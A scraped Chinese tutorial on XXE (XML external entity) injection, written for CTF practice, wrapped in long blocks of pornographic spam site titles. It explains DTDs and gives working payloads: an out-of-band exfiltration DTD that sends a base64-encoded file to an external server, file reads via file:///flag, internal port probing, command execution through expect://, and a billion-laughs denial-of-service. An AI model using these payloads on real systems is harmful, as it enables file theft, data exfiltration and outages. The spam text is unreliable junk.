成人在线亚洲_国产日韩视频一区二区三区_久久久国产精品_99国内精品久久久久久久

您的位置:首頁技術文章
文章詳情頁

XML實體注入深入理解

瀏覽:306日期:2022-06-04 10:02:42
目錄
  • 引文
  • 簡介
  • 基礎知識
    • DTD
    • 內部DOCTYPE聲明
  • XML實體注入
    • 無回顯XXE(BLIND XXE)
    • 讀取任意文件
    • 探測內網端口
    • 命令執行
    • dos拒絕服務
  • 例題
    • 結語

      引文

      在平常的WEB滲透中,我們經常會遇到SQL注入、文件上傳、SSRF、CSRF等一系列的漏洞,但XXE漏洞在座的讀者們了解過嗎。今天帶大家了解一下這個危險程度同樣很高的XXE漏洞。

      簡介

      Xml外部實體注入漏洞(XML External Entity Injection)簡稱XXE,XXE漏洞發生在應用程序解析XML輸入時,沒有禁止外部實體的加載,導致可以構造加載惡意外部文件,進而通過惡意外部文件對服務器進行攻擊。

      基礎知識

      在了解XXE漏洞前,我們先看看什么是XML實體。XML根據簡單概括為如下:可擴展標記語言 (Extensible Markup Language, XML) ,標準通用標記語言的子集,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。 XML是標準通用標記語言 可擴展性良好,內容與形式分離,遵循嚴格的語法要求,保值性良好等優點。

      可能單看文字讀者們不太好理解,下面給大家簡單舉個例子:

      上圖就是一個簡單的XML實體,用代碼顯示可以展示為:

      <bookstore>     <book category="COOKING">     <title lang="en">Everyday Italian</title>    <author>Giada De Laurentiis</author>     <year>2005</year>    <price>30.00</price>    </book>    <book category="CHILDREN">     <title lang="en">Harry Potter</title>     <author>J K. Rowling</author>     <year>2005</year>     <price>29.99</price>    </book>    <book category="WEB">     <title lang="en">Learning XML</title>     <author>Erik T. Ray</author>     <year>2003</year>    <price>39.95</price>     </book></bookstore>

      其中根的元素是 bookstore,book中 元素有子元素:author、title、year、price。

      DTD

      DTD(文檔類型定義)可以合法的定義xml標簽,DTD 可被成行地聲明于 XML 文檔中,也可作為一個外部引用,接下來帶大家詳細看一下它的內部結構以更好的去理解。

      內部DOCTYPE聲明

      <?xml version="1.0"?><!DOCTYPE note[<!--定義此文檔是 note 類型的文檔--><!ELEMENT note (to,from,heading,body)>       <!--定義note元素有四個元素--><!ELEMENT X (#PCDATA)>   <!ELEMENT I (#PCDATA)>     <!ELEMENT N (#PCDATA)>     <!ELEMENT O (#PCDATA)>     ]><note><to>I</to><from>A</from><head>M</head><body>XINO!</body></note>

      外部DOCTYPE聲明

      <!DOCTYPE 根元素 SYSTEM "URL">

      XML實體注入

      了解了上面的基礎知識后,我們便可以進一步學習XXE漏洞。

      我們要想利用,首先要判斷服務器會不會解析XML實體,所以開始時我們先上傳一個測試文件來判斷服務器是否能解析該類型,如果解析了,我們才可以繼續利用這個漏洞。

      <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [<!ENTITY name "hello">]><root>&name;</root>

      判斷服務器是否解析之后我們可以看看是否支持外部實體調用:

      <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [ <!ENTITY name SYSTEM "vps/hack.dtd">]><root>&name;</root>

      判斷完之后就可以做進一步測試了,比如:

      無回顯XXE(BLIND XXE)

      我們將獲取的數據發送到外部的http服務器上,后面查看http服務器即可查看到提取的數據內容。

      舉一個最簡單的例子:

      #test.xml<!ENTITY % all"<!ENTITY &#x25; send SYSTEM "http://xxx.xxx.xxx.xxx/x.php?1=%file;"">%all;

      對應的payload可以寫作為:

      <!DOCTYPE ANY[<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/test.xml">%remote;%send;]>

      首先對 remote 引用的目的是將外部文件 test.xml 引入到文中,檢測到 send 實體,在節點中引用 send,就可以成功實現數據轉發。也就實現了數據的外帶。

      讀取任意文件

      這個也是XXE比較常用的方法,我們引入(或編輯)一個DOCTYPE元素,該元素定義一個包含文件路徑的外部實體。

      探測內網端口

      我們利用XXE也可以進行內網探測端口(類似于SSRF),以用來進一步對機器照成攻擊:

      <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY><!ENTITY xxe SYSTEM "http://127.0.0.1:80">]><root>

      命令執行

      這個還是比較少見的,因為命令執行的條件比較苛刻,要求靶機php裝有expect擴展,但這個擴展是默認不安裝的,所以比較難利用。

      <?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "expect://id" >]><root><name>&xxe;</name></root>

      dos拒絕服務

      這個不是很了解,在網上瀏覽時注意到的,原理大概是利用迭代參數實體進行拒絕服務,讓服務器的解析變得非常非常慢。

      <?xml version="1.0"?><!DOCTYPE xml [<!ENTITY xxe1 "xxe"><!ENTITY xxe2 "&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;"><!ENTITY xxe3 "&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;"><!ENTITY xxe4 "&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;"><!ENTITY xxe5 "&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;"><!ENTITY xxe6 "&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;">]><test>&xxe6;</test>

      例題

      [PHP]XXE

      打開是一個登錄界面:

      在源碼處會發現:

      <button id="go" onclick="XMLFunction()">GO!</button>

      可以判斷會解析XML文件,嘗試構造payload直接讀取文件:

      <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY admin SYSTEM "file:///flag">]><root><username>&admin;</username><password>xino</password></root>

      抓包構造惡意數據然后發包:

      結語

      今天比較詳細的講了XXE漏洞的原理以及應用方法,有興趣的小伙伴可以自己去搭建靶機來進行測試,以上就是XML實體注入深入理解的詳細內容,更多關于XML實體注入的資料請關注其它相關文章!

      標簽: XML/RSS
      成人在线亚洲_国产日韩视频一区二区三区_久久久国产精品_99国内精品久久久久久久
      中文字幕一区二区三区蜜月| 蜜臀av性久久久久蜜臀aⅴ| 欧美一区二区三区免费大片| 欧美成人a在线| 一区二区三区在线观看欧美| 久草热8精品视频在线观看| 91麻豆国产在线观看| 久久电影一区| 日韩午夜精品视频| 亚洲伦理在线免费看| 狠狠色狠狠色合久久伊人| 欧美日韩一区在线播放| 欧洲av一区二区嗯嗯嗯啊| 国产亚洲欧美日韩在线一区| 丝袜脚交一区二区| eeuss鲁片一区二区三区在线观看 eeuss鲁片一区二区三区在线看 | 午夜在线视频一区二区区别| 欧美二区三区的天堂| 亚洲婷婷国产精品电影人久久| 韩国av一区二区| 99精品免费| 欧美videos大乳护士334| 亚洲bt欧美bt精品| 女女同性精品视频| 91官网在线观看| 一色屋精品亚洲香蕉网站| 国产麻豆精品theporn| 在线视频免费在线观看一区二区| 日韩精品一区二区三区中文精品| 亚洲电影第三页| 欧美精品一区二区三区在线看午夜| 欧美性欧美巨大黑白大战| 亚洲视频在线观看一区| 成人中文字幕合集| 久久综合久久久| 国产精品―色哟哟| 国产一区二区不卡老阿姨| 亚洲麻豆一区| 精品欧美乱码久久久久久| 日本成人在线看| 亚洲欧洲日夜超级视频| 日韩视频中午一区| 青青草成人在线观看| 亚洲国产婷婷| 国产视频在线观看一区二区三区 | 99re6这里只有精品视频在线观看| 老司机午夜精品视频| 亚洲欧洲性图库| jizz一区二区| 91精品国产综合久久精品图片 | 国产1区2区3区精品美女| 久久激情中文| 亚洲人成人一区二区在线观看 | 91首页免费视频| 在线不卡中文字幕| 天天影视网天天综合色在线播放| 欧美日韩岛国| 精品国产一区二区精华| 奇米综合一区二区三区精品视频| 国产精品手机在线| 国产精品久久久久婷婷二区次| 99久久国产免费看| 欧美一级夜夜爽| 精品在线亚洲视频| 91福利区一区二区三区| 亚洲r级在线视频| 一区二区福利| 亚洲手机成人高清视频| 国内精品久久国产| 国产色产综合产在线视频| 波多野结衣中文字幕一区| 欧美精品高清视频| 久久精品国产久精国产爱| 久久久夜精品| 图片区小说区区亚洲影院| 国产农村妇女精品一二区| 亚洲精品欧美激情| 亚洲国产精选| 中文字幕一区在线观看视频| 欧美日韩亚洲一区二区三区四区| 久久色视频免费观看| 成人精品免费视频| 精品处破学生在线二十三| 成人深夜视频在线观看| 日韩免费看网站| 成人app网站| 日韩欧美三级在线| 成人ar影院免费观看视频| 日韩精品中文字幕在线不卡尤物| 国产福利一区二区三区视频在线 | 精品女同一区二区| 成人精品国产免费网站| 日韩精品一区二区三区视频播放| 成人网在线免费视频| 精品国产一区二区三区四区四| 国产成人aaa| 日韩欧美一区电影| 成人午夜精品在线| 久久嫩草精品久久久精品| 欧美一区在线看| 中文字幕不卡在线| 亚洲午夜在线| 亚洲精品乱码久久久久久久久 | 五月开心婷婷久久| 色偷偷88欧美精品久久久| 麻豆精品视频在线观看视频| 欧美日韩国产精选| 国产精品亚洲人在线观看| 精品国产伦理网| 欧美日本一区二区高清播放视频| 日本一区二区三区高清不卡 | 日韩高清中文字幕一区| 在线视频观看一区| 国产一区二区调教| 精品国产一区二区三区不卡 | 91国内精品野花午夜精品| 国内精品自线一区二区三区视频| 3d成人h动漫网站入口| 东方欧美亚洲色图在线| 国产亚洲精品精华液| 亚洲黑丝一区二区| 亚洲成av人片观看| 欧美三级日韩三级| 成人app在线观看| 亚洲色图丝袜美腿| 久久久水蜜桃| 国产不卡在线播放| 日本一区二区视频在线| 一区二区日本视频| 麻豆一区二区在线| 欧美精品一区二区三区在线| 亚洲小说欧美另类社区| 亚洲大尺度视频在线观看| 精品视频免费在线| 91亚洲国产成人精品一区二区三 | 最好看的中文字幕久久| 久久久久一区二区三区| 国产一区二区在线观看免费| 久久先锋资源网| 一区二区欧美日韩| 久久国产视频网| 精品少妇一区二区三区在线视频| 欧美婷婷在线| 日日骚欧美日韩| 日韩欧美国产高清| 国产在线精品二区| 日韩激情一二三区| 日韩欧美三级在线| 91久久精品www人人做人人爽| 日本不卡一区二区三区高清视频| 日韩精品一区二区三区蜜臀| 在线免费观看一区二区三区| 免费观看成人av| 久久久久国产精品人| 久久av最新网址| www.亚洲免费av| 亚洲一区二区三区四区在线 | 国产肉丝袜一区二区| 久久xxxx精品视频| 成人永久免费视频| 一区二区三区日韩| 欧美一区二区久久久| aa亚洲婷婷| 国产露脸91国语对白| 日韩理论电影院| 91麻豆精品国产91久久久久久久久| 欧美连裤袜在线视频| 毛片一区二区三区| 国产婷婷一区二区| 在线观看国产日韩| 国产精品jizz在线观看美国| 伦理电影国产精品| 亚洲欧洲日本在线| 欧美高清激情brazzers| 亚洲三级电影在线观看| 国产999精品久久久久久| 亚洲一区在线观看免费| 精品日产卡一卡二卡麻豆| 美女图片一区二区| 97se亚洲国产综合自在线| 日本不卡视频一二三区| 国产精品毛片久久久久久| 在线播放中文一区| 一区二区三区久久网| 成人三级伦理片| 日本欧美一区二区三区| 国产精品亲子伦对白| 在线不卡a资源高清| 99精品视频免费观看| 床上的激情91.| 视频一区视频二区中文| 中文字幕成人av| 91精品国产综合久久婷婷香蕉 | 好看的日韩av电影| 国产精品亚洲а∨天堂免在线| 一区二区三区在线看| 国产亚洲精品免费| 制服丝袜国产精品| 久久影院亚洲| 亚洲精品乱码久久久久久蜜桃麻豆 |